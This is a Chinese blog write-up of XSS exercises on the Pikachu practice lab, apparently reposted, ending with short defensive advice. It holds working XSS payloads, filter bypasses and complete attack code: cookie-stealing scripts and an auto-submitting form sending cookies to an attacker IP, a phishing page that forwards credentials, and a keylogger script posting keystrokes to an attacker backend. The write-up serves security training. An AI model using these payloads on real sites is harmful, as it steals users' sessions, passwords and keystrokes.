XSS漏洞在pikachu平台上的练习

发布于 2021-10-17 21:18

PIKACHU:

反射型XSSGET):

先输入一些特殊字符,判断是否被过滤了。发现原样输出,并没有被过滤掉。

 

查看源码:

 

试一试js代码,发现会限制输入字数,在前端更改字符长度:

 

    输入:<script>alert(/XSS/)</script>

 

查看源代码:(发现输入的<script>标签被嵌入进去,作为前端代码输入了,从而被浏览器正确执行弹窗。)

 

利用GETXSS

http://localhost:8888/pikachu-master/vul/xss/xss_reflected_get.php?message=%3Cscript%3Ealert%28%2FXSS%2F%29%3C%2Fscript%3E&submit=submit

上面的链接是输入<script>弹窗的链接,重新打开一个页面,粘贴这段代码,就可以看到弹窗,从而利用GET型的XSS漏洞。

 

反射型XSSPOST):

getpost的区别:

get是以url方式提交数据;post是以表单方式请求体里面提交。

get方式更容易被利用,直接发送带有跨站脚本的url伪装后发给目标。

post方式无法直接利用url进行攻击。

 

具体的利用post型的xss进行攻击的方式在下面xss漏洞利用中有所体现。

存储型XSS

 

可以看到,不管怎么刷新,留言板提交的内容都会在页面上显示,是永久存在的。

输入一些特殊字符试一下:(可以看到特殊字符也没有经过过滤和转义的处理)

 

构造payload<script>alert(XSS)</script>,成功弹窗,而且每次都会弹窗。

 

DOMXSS

输入111的结果:

 

查看源代码:

 

从源代码可以看到,通过document.getElementById()获取到input中的值,然后拼接到<a>标签中,页面可以输出一个链接。what are you see?点进去就是输入的东西。

开始构造payload

<a href='"+str+"'>what do you see?</a>

“+str+”是我们可以控制的内容。替换掉它,构造闭合。

<a href=' #  onclick=alert(111)> '>what do you see?</a>

输入:#' onclick="alert(111)">

 

弹窗成功。

 

DOMXSS-X

 

 

继续构造payload

<a href='"+xss+"'>就让往事都随风,都随风吧</a>

<a href=' #  onclick =alert(111)> '>就让往事都随风,都随风吧</a>

弹窗成功。

直接把上面弹窗的网址复制,重新打开一个网页,粘贴网址,也可以弹窗。

 

 

 

 

XSS漏洞利用:

1. cookie获取

GET型XSS漏洞利用:

基本原理:

攻击者发现存在xss漏洞的站点,向站点注入xss代码,即带有恶意js的脚本,用户访问站点之后,会触发这个脚本,服务器向用户返回这个恶意脚本,然后窃取用户cookie返回给攻击者后台。

 

操作方法:

pikachu里自带了一个pkxss的目录,可以单独作为后台使用。

 

我当时的攻击虚拟机IP地址:192.168.31.212

将这个目录放在phpstudy下面。

 

 

 

后台首页:

 

 

 

cookie.php源代码:

<?php

include_once '../inc/config.inc.php';

include_once '../inc/mysql.inc.php';

$link=connect();

 

//这个是获取cookieapi页面

 

if(isset($_GET['cookie'])){ //get方式获取cookie

    $time=date('Y-m-d g:i:s');

    $ipaddress=getenv ('REMOTE_ADDR');

    $cookie=$_GET['cookie'];

    $referer=$_SERVER['HTTP_REFERER'];

$useragent=$_SERVER['HTTP_USER_AGENT'];

// 插入数据库中

    $query="insert cookies(time,ipaddress,cookie,referer,useragent)

    values('$time','$ipaddress','$cookie','$referer','$useragent')";

    $result=mysqli_query($link, $query);

}

header("Location:http://192.168.1.4/pikachu/index.php");//重定向到一个可信的网站

?>

构造payload:

<script>document.location=http://192.168.31.212:8888/pkxss/xcookie/cookie.php?cookie=+document.cookie;</script>

 

虽然没有正常跳转到这个页面,是因为配置文件ip地址忘记改了。不过也算是进入了攻击者构造的页面了。

 

不影响获取cookie。刷新攻击者后台:

 

 

 

 

 

POST型XSS漏洞利用:

漏洞原理:

攻击者搭建站点如下:post.html:

<html>

<head>

<script>

window.onload = function() {

  document.getElementById("postsubmit").click();

}

</script>

</head>

<body>

//在表单中,value的值就是恶意代码,带上本地cookie访问XSS后台。

<form method="post" action="http://localhost:8888/pikachu-master/vul/xss/xss.php">

    <input id="xssr_in" type="text" name="message" value=

    "<script>

document.location = 'http://192.168.31.212:8888/pkxss/xcookie/cookie.php?cookie=' + document.cookie;

</script>"

 />

    <input id="postsubmit" type="submit" name="submit" value="submit" />

</form>

</body>

</html>

模拟恶意的站点:http://192.168.31.212:8888/post.html

直接跳转到了form表单的action中,这是攻击者构造的一个糊弄受害者的网站,让受害者对自己被攻击毫不知情。在返回这个网站的过程中,其实在后台已经把用户的cookie值带到form表单中input的value中传给攻击者后台了,像上述GET型的攻击一样,刷新攻击者的后台就可以看到已经成功获取到cookie了。

 

 

2. XSS钓鱼攻击:

漏洞原理;

攻击者构造“鱼饵”,也就是一个用户身份认证的弹窗,然后账号密码就会发送到pkxss后台。

 

查看钓鱼页面fish.php

<?php

error_reporting(0);

// var_dump($_SERVER);

//获取账号和密码,如果没有,就获取三个头部

if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {

//发送认证框,并给出迷惑性的info

    header('Content-type:text/html;charset=utf-8');

    header("WWW-Authenticate: Basic realm='认证'");

    header('HTTP/1.0 401 Unauthorized');

    echo 'Authorization Required.';

    exit;

} else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){

//如果获取到对应的用户名和密码之后,将结果发送给搜集信息的后台,将账号和密码通过重定向的方式返回到xss后台

    header("Location: http://192.168.31.212:8888/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}

    &password={$_SERVER[PHP_AUTH_PW]}");

}

?>

xfish.php就是一个接口,代码如下:作用就是将获取到的用户名密码和referer存在攻击者后台的数据库中:

<?php

error_reporting(0);

include_once '../inc/config.inc.php';

include_once '../inc/mysql.inc.php';

$link=connect();

if(!empty($_GET['username']) && !empty($_GET['password'])){

    $username=$_GET['username'];

    $password=$_GET['password'];

    $referer="";

    $referer.=$_SERVER['HTTP_REFERER'];

    $time=date('Y-m-d g:i:s');

    $query="insert fish(time,username,password,referer)

    values('$time','$username','$password','$referer')";

$result=mysqli_query($link, $query);}?>

payload

<script src=”http://192.168.31.212:8888/pkxss/xfish/fish.php”></script>

 

 

会弹窗:

 

 

XSS后台:

 

用户在弹窗中输入用户名和密码,提交之后,刷新XSS后台就可以看到有记录的数据了。

 

 

 

3. xss漏洞记录键盘操作

补充基本概念:

http://www.xyz.com:8080/script/test.js

http:协议

www:子域名

xyz.com:主域名

8080:端口

...  :资源地址

 

跨域:当协议、主机(主域名和子域名)、端口中的任意一个不相同时,称为不同域。

不同域之间请求数据的操作就是跨域操作。

 

为安全考虑,所有的浏览器都约定了同源策略,就是两个不同域名之间不能使用js进行相互操作。

下面的这些标签跨域加载资源不受同源策略限制。

<script src=...>//js,加载到本地执行

<img src=>//图片

<link herf=...>//CSS

<iframe src=...>//任意资源

 

 

使用pkxss演示:

rkserver.php

<?php

include_once '../inc/config.inc.php';

include_once '../inc/mysql.inc.php';

$link=connect();

//设置允许被跨域访问(攻击者后台的文件)

header("Access-Control-Allow-Origin:*");

//存到数据库中

$data = $_POST['datax'];

$query = "insert keypress(data) values('$data')";

$result=mysqli_query($link,$query);

?>

 

rk.js(恶意js代码:获取用户键盘输入,再异步发给后台)

function createAjax(){

    var request=false;

    if(window.XMLHttpRequest){

        request=new XMLHttpRequest();

        if(request.overrideMimeType){

            request.overrideMimeType("text/xml");

        }

 

    }else if(window.ActiveXObject){

 

        var versions=['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

        for(var i=0; i<versions.length; i++){

            try{

                request=new ActiveXObject(versions[i]);

                if(request){

                    return request;

                }

            }catch(e){

                request=false;

            }

        }

    }

    return request;

}

 

var ajax=null;

var xl="datax=";

function onkeypress() {

    var realkey = String.fromCharCode(event.keyCode);   //获取keyCode转化成字符串再赋值给realkey

    xl+=realkey;

    show();

}

 

document.onkeypress = onkeypress;

 

function show() {

    ajax = createAjax();

    ajax.onreadystatechange = function () {

        if (ajax.readyState == 4) {

            if (ajax.status == 200) {

                var data = ajax.responseText;

            } else {

                alert("页面请求失败");

            }

        }

    }

 

    var postdate = xl;

    ajax.open("POST", "http://192.168.1.15/pkxss/rkeypress/rkserver.php",true);

    ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

    ajax.setRequestHeader("Content-length", postdate.length);

    ajax.setRequestHeader("Connection", "close");

    ajax.send(postdate);

}

 

 

 

下面打开虚拟机的pikachu中的存储型XSS页面,再页面中输入如下payload:

<script src="http://localhost:8888/pkxss/rkeypress/rk.js"></script>

 

之后打开控制台,再在输入框里输入一些字符,发现控制台都拒绝了:

 

重新打开这个页面,在留言板里输入字符,发现下面网络中都可以抓取到。

 

 

打开攻击者后台,发现拿到了键盘记录的结果。

 

 

 

 

4. XSS盲打

在前端数据交互的地方输入字符并不在前端显示,无法判断是否存在XSS

 

管理员的页面会显示前端输入的内容,包括js代码。

模拟管理员进入登录查看后台:(实质还是存储型xss

 

 

 

 

XSS绕过

1、前端绕过,直接抓包重放,或者修改前端代码(安全措施不要在前端上面做)。

2、大小写绕过:(正则匹配区分大小写,或者查找字符替代)

<SCRIPT>aLeRT(111)</sCRIpt>

3、拼凑:<scri<script>pt>alert(111)</scri</script>pt>

4、注释干扰:<scri<!--test-->pt>alert(111)</sc<!--test-->pt>ript>

5、编码:后台过滤了特殊字符,但该标签可以被各种编码,后台不一定会过滤。而浏览器对编码进行正常识别的时候,会翻译成正常的标签。

 

 

 

 

举例;

<img src=1 onerror=alert(xss)>  //后台对alert(xss)进行了过滤

可以把alert(xss)进行html编码

&#97,&#108,&#101......

 

pikachu---XSS之过滤演示

输入<script>;6666

 

查看源码:

 

发现过滤了<script>标签。

 

尝试大小写混合绕过:(成功)

<ScRiPT>alert(111)</ScRiPT>

 

使用其他标签过滤:<img src=x onerror="alert(111)" />

 

 

XSS绕过---htmlspecialchars()函数:

 

htmlspecialchars()函数:把预定的字符转换为html实体。

预定的字符:

² &(和好)和&

² (双引号)和"

² (单引号)和'

² <(小于号)和<

² >(大于号)和>

 

使用:$ok=htmlspecialchars($GET[message])

上面的使用没有加任何类型,就是默认类型,不编码单引号。

ENT_COMPAT---默认。

ENT_QUOTES---编码双引号和单引号。

ENT_NOQUOTES---不编码任何引号。

 

pikachu演示:

输入特殊字符:11111<>;'"

 

查看源代码:发现除了单引号之外的其他字符都被编码为实体。

 

 

构造闭合

q onclick=alert(11111)   (单引号仍然生效)

 

 

 

 

 

XSSherf输出

php源代码:

if(isset($_GET['submit'])){

    if(empty($_GET['message'])){

        $html.="<p>叫你输入个url,你咋不听?</p>";

    }

    if($_GET['message'] == 'www.baidu.com'){

        $html.="<p>我靠,我真想不到你是这样的一个人</p>";

    }else {

        //输出在a标签的href属性里面,可以使用javascript协议来执行js

        //防御:只允许http,https,其次在进行htmlspecialchars处理

        $message=htmlspecialchars($_GET['message'],ENT_QUOTES);

        $html.="<a href='{$message}'> 阁下自己输入的url还请自己点一下吧</a>";

    }

}

 

  //输出在a标签的href属性里面,可以使用javascript协议来执行js

 

输入:javascript:alert(111)

 

查看源代码: 

 

 

针对这种问题做防御:herf超链接中只允许http或者https输出。其次再进行htmlspecialchars函数处理。

 

XSSjs输出

输入11111提交,查看源代码:

 

将输入放到js里面,再判断输出。

 

构造闭合:

<script>

    $ms='x</script><script>alert(xss)</script>';

    if($ms.length != 0){

        if($ms == 'tmac'){

            $('#fromjs').text('tmac确实厉害,看那小眼神..')

        }else {

            alert($ms);

            $('#fromjs').text('无论如何不要放弃心中所爱..')

        }

 

    }

</script>

 

 

 

原理:通过用户输入,动态生成js的代码,js里面不会对tag和字符实体进行解释。

 

防御:如果进行html的实体编码,虽然可以解决xss的问题,但是实体编码的内容在js里面不会进行翻译,会导致前端的功能无法使用。所以在JS的输出点应该使用\对特殊字符进行转义

修复建议(防范措施):

XSS漏洞涉及输入和输出两个部分,所以其修复也分两个部分。

(输入做过滤,输出做转义)

1、过滤输入的数据,包括,,<,>,on等非法字符;根据业务需求进行过滤;

2、对输出到页面的数据进行相应的编码转换,包括HTML实体编码、JS编码等。

本文来自网络或网友投稿,如有侵犯您的权益,请发邮件至:aisoutu@outlook.com 我们将第一时间删除。

相关素材